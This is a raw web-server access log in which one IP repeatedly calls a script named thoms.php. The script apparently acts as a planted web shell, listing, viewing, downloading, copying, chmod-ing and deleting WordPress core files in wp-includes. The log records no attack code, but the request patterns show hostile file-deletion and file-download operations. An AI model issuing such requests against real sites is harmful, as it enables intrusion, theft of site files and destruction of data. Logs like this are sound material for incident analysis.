45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmedia-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fmedia-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fspl-autoload-compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11858 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftheme.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?dl=default-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:50 -0400] "GET /thoms.php?dl=l10n.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?chmod=https-detection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?dl=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57838 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache-transient.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57917 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:51 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12357 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?del=class-walker-page.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57891 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?chmod=nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13487 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?chmod=block-editor.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcategory-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fcategory-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:52 -0400] "GET /thoms.php?dl=feed-rdf.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57913 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13214 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-embed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?dl=class-walker-page.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57773 "http://163.245.207.76:443/thoms.php?dl=class-walker-page.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?chmod=capabilities.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 200 21217 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 200 13233 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?del=compat.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=compat.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:53 -0400] "GET /thoms.php?dl=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 200 13171 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14372 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13304 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14282 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14889 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?chmod=cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?chmod=class-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:54 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57896 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?chmod=load.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17959 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?del=template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?chmod=ms-files.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:55 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?chmod=theme.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp.php HTTP/1.1" 200 20821 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?dl=template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=rest-api.php HTTP/1.1" 200 39825 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=rest-api.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?del=compat-utf8.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Frevision.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11836 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Frevision.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:56 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11837 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?dl=user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?chmod=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-encoding.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?del=canonical.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57861 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-term.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?dl=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57900 "http://163.245.207.76:443/thoms.php?dl=class-wp-phpmailer.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:57 -0400] "GET /thoms.php?chmod=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:10:58 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
